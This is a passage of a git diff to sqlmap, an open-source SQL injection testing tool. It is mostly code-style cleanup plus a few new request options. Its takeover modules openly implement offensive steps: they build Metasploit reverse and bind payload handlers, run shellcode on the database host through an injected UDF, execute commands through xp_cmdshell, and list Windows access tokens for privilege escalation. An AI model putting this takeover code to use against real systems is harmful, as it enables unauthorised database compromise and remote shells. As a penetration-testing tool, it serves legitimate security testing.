for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release
if '.svn' in root:
@@ -334,7 +326,6 @@ def __updateSqlmap():
infoMsg = "sqlmap updated successfully"
logger.info(infoMsg)
-
def update():
if not conf.updateAll:
return
diff --git a/lib/parse/banner.py b/lib/parse/banner.py
index ce9eba725..c739db506 100644
--- a/lib/parse/banner.py
+++ b/lib/parse/banner.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
from xml.sax import parse
@@ -35,7 +33,6 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
-
class MSSQLBannerHandler(ContentHandler):
"""
This class defines methods to parse and extract information from the
@@ -51,7 +48,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__servicePack = ""
self.__info = info
-
def __feedInfo(self, key, value):
value = sanitizeStr(value)
@@ -60,7 +56,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__info[key] = value
-
def startElement(self, name, attrs):
if name == "signatures":
self.__release = sanitizeStr(attrs.get("release"))
@@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
elif name == "servicepack":
self.__inServicePack = True
-
def characters(self, data):
if self.__inVersion:
self.__version += sanitizeStr(data)
elif self.__inServicePack:
self.__servicePack += sanitizeStr(data)
-
def endElement(self, name):
if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
@@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__version = ""
self.__servicePack = ""
-
elif name == "version":
self.__inVersion = False
self.__version = self.__version.replace(" ", "")
@@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__inServicePack = False
self.__servicePack = self.__servicePack.replace(" ", "")
-
def bannerParser(banner):
"""
This function calls a class to extract information from the given
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 799a79a6b..75345a05f 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import sys
from optparse import OptionError
@@ -33,7 +31,6 @@ from optparse import OptionParser
from lib.core.data import logger
from lib.core.settings import VERSION_STRING
-
def cmdLineParser():
"""
This function parses the command line parameters and arguments
@@ -75,8 +72,8 @@ def cmdLineParser():
request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header")
- request.add_option("--referer", dest="referer",
- help="HTTP Referer header")
+ request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
+ help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header")
@@ -85,6 +82,9 @@ def cmdLineParser():
help="Load a random HTTP User-Agent "
"header from file")
+ request.add_option("--referer", dest="referer",
+ help="HTTP Referer header")
+
request.add_option("--headers", dest="headers",
help="Extra HTTP headers newline separated")
@@ -195,7 +195,6 @@ def cmdLineParser():
action="store_true",
help="Perform an extensive DBMS version fingerprint")
-
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database "
@@ -377,17 +376,20 @@ def cmdLineParser():
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
+ miscellaneous.add_option("-s", dest="sessionFile",
+ help="Save and resume all data retrieved "
+ "on a session file")
+
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Display for each output the "
"estimated time of arrival")
+ miscellaneous.add_option("--gpage", dest="googlePage", type="int",
+ help="Use google dork results from specified page number")
+
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
- miscellaneous.add_option("-s", dest="sessionFile",
- help="Save and resume all data retrieved "
- "on a session file")
-
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file")
diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py
index a0cd17bbe..b2a99ea7e 100644
--- a/lib/parse/configfile.py
+++ b/lib/parse/configfile.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from ConfigParser import NoSectionError
from ConfigParser import ConfigParser
@@ -33,10 +31,8 @@ from lib.core.data import logger
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.optiondict import optDict
-
config = None
-
def configFileProxy(section, option, boolean=False, integer=False):
"""
Parse configuration file and save settings into the configuration
@@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
debugMsg += "ignoring. Skipping to next."
logger.debug(debugMsg)
-
def configFileParser(configFile):
"""
Parse configuration file and save settings into the configuration
diff --git a/lib/parse/handler.py b/lib/parse/handler.py
index c5db8e939..01c717a04 100644
--- a/lib/parse/handler.py
+++ b/lib/parse/handler.py
@@ -22,15 +22,10 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
-
from xml.sax.handler import ContentHandler
-
from lib.core.common import sanitizeStr
-
class FingerprintHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
@@ -45,7 +40,6 @@ class FingerprintHandler(ContentHandler):
self.__techVersion = None
self.__info = info
-
def __feedInfo(self, key, value):
value = sanitizeStr(value)
@@ -61,7 +55,6 @@ class FingerprintHandler(ContentHandler):
for v in value.split("|"):
self.__info[key].add(v)
-
def startElement(self, name, attrs):
if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value"))
diff --git a/lib/parse/headers.py b/lib/parse/headers.py
index ef4ef2142..9af090372 100644
--- a/lib/parse/headers.py
+++ b/lib/parse/headers.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
from xml.sax import parse
@@ -33,7 +31,6 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
-
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
diff --git a/lib/parse/html.py b/lib/parse/html.py
index 154d103ea..81629fdd9 100644
--- a/lib/parse/html.py
+++ b/lib/parse/html.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
from xml.sax import parse
@@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
-
class htmlHandler(ContentHandler):
"""
This class defines methods to parse the input HTML page to
@@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
self.dbms = None
-
def startElement(self, name, attrs):
if name == "dbms":
self.__dbms = attrs.get("value")
@@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
self.dbms = self.__dbms
self.__match = None
-
def htmlParser(page):
"""
This function calls a class that parses the input HTML page to
diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py
index 379f5d8b6..074972bfc 100644
--- a/lib/parse/queriesfile.py
+++ b/lib/parse/queriesfile.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from xml.sax import parse
from xml.sax.handler import ContentHandler
@@ -34,7 +32,6 @@ from lib.core.data import queries
from lib.core.data import paths
from lib.core.datatype import advancedDict
-
class queriesHandler(ContentHandler):
"""
This class defines methods to parse the default DBMS queries
@@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
self.__dbms = ''
self.__queries = advancedDict()
-
def startElement(self, name, attrs):
if name == "dbms":
data = sanitizeStr(attrs.get("value"))
@@ -150,7 +146,6 @@ class queriesHandler(ContentHandler):
self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2"))
-
def endElement(self, name):
if name == "dbms":
queries[self.__dbms] = self.__queries
@@ -209,7 +204,6 @@ class queriesHandler(ContentHandler):
self.__queries.dumpTable = self.__dumpTable
-
def queriesParser():
"""
This function calls a class to parse the default DBMS queries
diff --git a/lib/request/basic.py b/lib/request/basic.py
index 6fd6f0a64..1b5f1a8a4 100644
--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
+import gzip
import os
import re
+import StringIO
+import zlib
from lib.core.data import conf
from lib.core.data import kb
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
-
def forgeHeaders(cookie, ua):
"""
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
@@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua):
return headers
-
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
-
- @todo: in the future parse the page content scrolling an XML file to
- identify the dynamic language used and, most, the absolute path,
- like for DBMS error messages (ERRORS_XML), see above.
"""
if headers:
@@ -73,11 +68,29 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
- absFilePathsRegExp = ( " in (.*?) on line", "([\w]\:[\/\\\\]+)" )
+ absFilePathsRegExp = ( r" in (.*?) on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
for absFilePathRegExp in absFilePathsRegExp:
- absFilePaths = re.findall(absFilePathRegExp, page, re.I)
+ reobj = re.compile(absFilePathRegExp)
+
+ for match in reobj.finditer(page):
+ absFilePath = match.group()
- for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(os.path.dirname(absFilePath))
+
+def decodePage(page, encoding):
+ """
+ Decode gzip/deflate HTTP response
+ """
+
+ if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
+ if encoding == 'deflate':
+ # http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
+ data = StringIO.StringIO(zlib.decompress(page, -15))
+ else:
+ data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
+
+ page = data.read()
+
+ return page
diff --git a/lib/request/certhandler.py b/lib/request/certhandler.py
new file mode 100644
index 000000000..024f78d84
--- /dev/null
+++ b/lib/request/certhandler.py
@@ -0,0 +1,12 @@
+import httplib
+import urllib2
+
+class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
+ def __init__(self, key_file, cert_file):
+ urllib2.HTTPSHandler.__init__(self)
+ self.key_file = key_file
+ self.cert_file = cert_file
+ def https_open(self, req):
+ return self.do_open(self.getConnection, req)
+ def getConnection(self, host):
+ return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
diff --git a/lib/request/comparison.py b/lib/request/comparison.py
index 0213fccf8..19749ea15 100644
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
from lib.core.data import conf
from lib.core.data import logger
from lib.core.session import setMatchRatio
-
def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None
@@ -73,15 +70,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
- if conf.matchRatio == None:
- if conf.md5hash != None and ratio > 0.6 and ratio < 1:
+ if conf.matchRatio is None:
+ if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
logger.debug("setting match ratio to %.3f" % ratio)
conf.matchRatio = ratio
- elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
+
+ elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
logger.debug("setting match ratio to default value 0.900")
conf.matchRatio = 0.900
- if conf.matchRatio != None:
+ if conf.matchRatio is not None:
setMatchRatio()
# If it has been requested to return the ratio and not a comparison
@@ -93,7 +91,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
# hash of the original one
# NOTE: old implementation, it did not handle automatically the fact
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
- #elif conf.md5hash != None:
+ #elif conf.md5hash is not None:
# return conf.md5hash == md5hash(page)
# If the url is not stable it returns sequence matcher between the
diff --git a/lib/request/connect.py b/lib/request/connect.py
index 8b68f6906..9717cfcb0 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import httplib
import re
import socket
@@ -33,11 +31,13 @@ import urlparse
import traceback
from lib.contrib import multipartpost
+from lib.core.common import sanitizeCookie
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
+from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders
from lib.request.basic import parseResponse
from lib.request.comparison import comparison
@@ -48,12 +48,10 @@ class Connect:
This class defines methods used to perform HTTP requests
"""
-
@staticmethod
def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
-
@staticmethod
def getPage(**kwargs):
"""
@@ -61,7 +59,7 @@ class Connect:
the target url page content
"""
- if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
+ if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20")
@@ -85,23 +83,24 @@ class Connect:
else:
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
- if silent is True:
+ if silent:
socket.setdefaulttimeout(3)
if direct:
if "?" in url:
url, params = url.split("?")
- params = urlencode(params).replace("%%", "%")
+ params = urlencode(params)
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
- if post:
- post = urlencode(post).replace("%%", "%")
-
elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
+ responseHeaders = conn.info()
+
+ encoding = responseHeaders.get("Content-Encoding")
+ page = decodePage(page, encoding)
return page
@@ -110,7 +109,7 @@ class Connect:
get = conf.parameters["GET"]
if get:
- get = urlencode(get).replace("%%", "%")
+ get = urlencode(get)
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
@@ -118,18 +117,11 @@ class Connect:
if conf.parameters.has_key("POST") and not post:
post = conf.parameters["POST"]
- post = urlencode(post).replace("%%", "%")
-
requestMsg += " HTTP/1.1"
- if cookie:
- # TODO: sure about encoding the cookie?
- #cookie = urlencode(cookie).replace("%%", "%")
- cookie = cookie.replace("%%", "%")
-
try:
# Perform HTTP request
- headers = forgeHeaders(cookie, ua)
+ headers = forgeHeaders(sanitizeCookie(cookie), ua)
req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req)
@@ -141,14 +133,15 @@ class Connect:
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
- for _, cookie in enumerate(conf.cj):
- if not cookieStr:
- cookieStr = "Cookie: "
-
- cookie = str(cookie)
- index = cookie.index(" for ")
-
- cookieStr += "%s; " % cookie[8:index]
+ if not conf.dropSetCookie:
+ for _, cookie in enumerate(conf.cj):
+ if not cookieStr:
+ cookieStr = "Cookie: "
+
+ cookie = str(cookie)
+ index = cookie.index(" for ")
+
+ cookieStr += "%s; " % cookie[8:index]
if not req.has_header("Cookie") and cookieStr:
requestHeaders += "\n%s" % cookieStr[:-2]
@@ -171,6 +164,9 @@ class Connect:
status = conn.msg
responseHeaders = conn.info()
+ encoding = responseHeaders.get("Content-Encoding")
+ page = decodePage(page, encoding)
+
except urllib2.HTTPError, e:
if e.code == 401:
exceptionMsg = "not authorized, try to provide right HTTP "
@@ -208,7 +204,7 @@ class Connect:
return None, None
- if silent is True:
+ if silent:
return None, None
elif conf.retriesCount < conf.retries:
@@ -240,7 +236,6 @@ class Connect:
return page, responseHeaders
-
@staticmethod
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
"""
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 1e089080b..524055ca5 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
import time
@@ -44,7 +42,6 @@ from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
-
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
start = time.time()
@@ -67,7 +64,6 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
return value
-
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
outputs = []
origExpr = None
@@ -87,7 +83,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
- if resumeValue == True:
+ if resumeValue:
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ):
@@ -105,7 +101,6 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
return outputs
-
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
"""
Retrieve the output of a SQL query characted by character taking
@@ -124,15 +119,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
untilLimitChar = None
untilOrderChar = None
- if resumeValue == True:
+ if resumeValue:
output = resume(expression, payload)
else:
output = None
- if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
+ if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output
- if unpack == False:
+ if not unpack:
return __goInference(payload, expression, charsetType, firstChar, lastChar)
if kb.dbmsDetected:
@@ -205,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
- elif batch == True:
+ elif batch:
test = "y"
else:
message = "can the SQL query provided return "
@@ -221,7 +216,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
- if resumeValue == True:
+ if resumeValue:
count = resume(countedExpression, payload)
if not stopLimit:
@@ -231,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if count and count.isdigit() and int(count) > 0:
count = int(count)
- if batch == True:
+ if batch:
stopLimit = count
else:
message = "the SQL query provided can return "
@@ -314,7 +309,6 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
return returnValue
-
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
"""
Retrieve the output of a SQL query taking advantage of an inband SQL
@@ -330,7 +324,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
and expression in kb.resumedQueries[conf.url].keys()
)
- if condition and resumeValue == True:
+ if condition and resumeValue:
output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ):
@@ -344,7 +338,6 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
return data
-
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
"""
Called each time sqlmap inject a SQL query on the SQL injection
@@ -382,7 +375,6 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
return value
-
def goStacked(expression, silent=False):
expression = cleanQuery(expression)
diff --git a/lib/request/proxy.py b/lib/request/proxy.py
index 1b8950733..0893fc271 100644
--- a/lib/request/proxy.py
+++ b/lib/request/proxy.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import httplib
import socket
import urllib
@@ -31,11 +29,9 @@ import urllib2
from lib.core.settings import PYVERSION
-
if PYVERSION >= "2.6":
import ssl
-
class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443}
@@ -65,7 +61,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
httplib.HTTPConnection.request(self, method, rest, body, headers)
-
def connect(self):
httplib.HTTPConnection.connect(self)
@@ -91,7 +86,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
if line == "\r\n":
break
-
class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443
@@ -111,7 +105,6 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, sslobj)
-
class ProxyHTTPHandler(urllib2.HTTPHandler):
def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy
@@ -124,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
-
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy
diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py
index 789e230ca..7b9c599ac 100644
--- a/lib/takeover/abstraction.py
+++ b/lib/takeover/abstraction.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
@@ -34,7 +32,6 @@ from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell
-
class Abstraction(UDF, xp_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
@@ -47,7 +44,6 @@ class Abstraction(UDF, xp_cmdshell):
UDF.__init__(self)
xp_cmdshell.__init__(self)
-
def __cmdShellCleanup(self):
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
@@ -60,7 +56,6 @@ class Abstraction(UDF, xp_cmdshell):
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
-
def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent=silent)
@@ -72,7 +67,6 @@ class Abstraction(UDF, xp_cmdshell):
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
-
def evalCmd(self, cmd, first=None, last=None):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd, first, last)
@@ -84,7 +78,6 @@ class Abstraction(UDF, xp_cmdshell):
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
-
def runCmd(self, cmd):
getOutput = None
@@ -105,7 +98,6 @@ class Abstraction(UDF, xp_cmdshell):
if not conf.osShell and not conf.cleanup:
self.__cmdShellCleanup()
-
def absOsShell(self):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
infoMsg = "going to use injected sys_eval and sys_exec "
@@ -153,14 +145,13 @@ class Abstraction(UDF, xp_cmdshell):
self.__cmdShellCleanup()
-
def initEnv(self, mandatory=True, detailed=False):
- if self.envInitialized is True:
+ if self.envInitialized:
return
self.checkDbmsOs(detailed)
- if self.isDba() == False:
+ if not self.isDba():
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py
index 0f42fce14..3acf482bd 100644
--- a/lib/takeover/metasploit.py
+++ b/lib/takeover/metasploit.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import re
import stat
@@ -131,7 +129,6 @@ class Metasploit:
"reverse": "local port number",
}
-
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
opSys = "windows"
@@ -177,21 +174,18 @@ class Metasploit:
return choice
-
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
-
def __selectEncoder(self, encode=True):
if isinstance(encode, str):
return encode
- elif kb.os == "Windows" and encode is True:
+ elif kb.os == "Windows" and encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
-
def __selectPayload(self, askChurrasco=True):
- if kb.os == "Windows" and conf.privEsc == True:
+ if kb.os == "Windows" and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can abuse Windows "
infoMsg += "Access Tokens via Meterpreter 'incognito' "
@@ -229,7 +223,7 @@ class Metasploit:
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
- if choose == True:
+ if choose:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
message += "[2] Fall back to Meterpreter payload (default)\n"
@@ -254,7 +248,7 @@ class Metasploit:
break
- elif askChurrasco is False:
+ elif not askChurrasco:
logger.warn("beware that the VNC injection might not work")
break
@@ -262,7 +256,7 @@ class Metasploit:
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco()
- if uploaded == False:
+ if not uploaded:
warnMsg = "beware that the VNC injection "
warnMsg += "might not work"
logger.warn(warnMsg)
@@ -277,13 +271,11 @@ class Metasploit:
return __payloadStr
-
def __selectPort(self):
for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
-
def __selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
@@ -300,9 +292,8 @@ class Metasploit:
else:
raise sqlmapDataException, "unexpected connection type"
-
def __selectLhost(self):
- if self.connectionStr.startswith("reverse") or self.resourceFile != None:
+ if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
@@ -317,11 +308,9 @@ class Metasploit:
else:
raise sqlmapDataException, "unexpected connection type"
-
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
-
def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
@@ -335,7 +324,6 @@ class Metasploit:
else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
-
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
@@ -355,11 +343,9 @@ class Metasploit:
self.__cliCmd += " E"
-
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
-
def __forgeMsfConsoleResource(self):
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
@@ -386,7 +372,6 @@ class Metasploit:
self.resourceFp.write(self.__resource)
self.resourceFp.close()
-
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
@@ -406,7 +391,6 @@ class Metasploit:
else:
self.__payloadCmd += " X > %s" % outFile
-
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
@@ -417,7 +401,6 @@ class Metasploit:
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
-
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg)
@@ -425,7 +408,6 @@ class Metasploit:
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
-
def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', wait.."
@@ -433,7 +415,6 @@ class Metasploit:
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
-
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.."
@@ -444,7 +425,7 @@ class Metasploit:
cmd = "%s &" % self.exeFilePathRemote
- if self.cmdFromChurrasco == True:
+ if self.cmdFromChurrasco:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server":
@@ -452,7 +433,6 @@ class Metasploit:
self.execCmd(cmd, silent=True)
-
def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows":
return
@@ -468,7 +448,7 @@ class Metasploit:
proc.stdin.write("use priv\n")
proc.stdin.write("use sniffer\n")
- if conf.privEsc == True:
+ if conf.privEsc:
print
infoMsg = "displaying the list of Access Tokens availables. "
@@ -478,7 +458,6 @@ class Metasploit:
proc.stdin.write("list_tokens -u\n")
-
def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
@@ -536,7 +515,6 @@ class Metasploit:
return returncode
-
def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
logger.info(infoMsg)
@@ -578,9 +556,8 @@ class Metasploit:
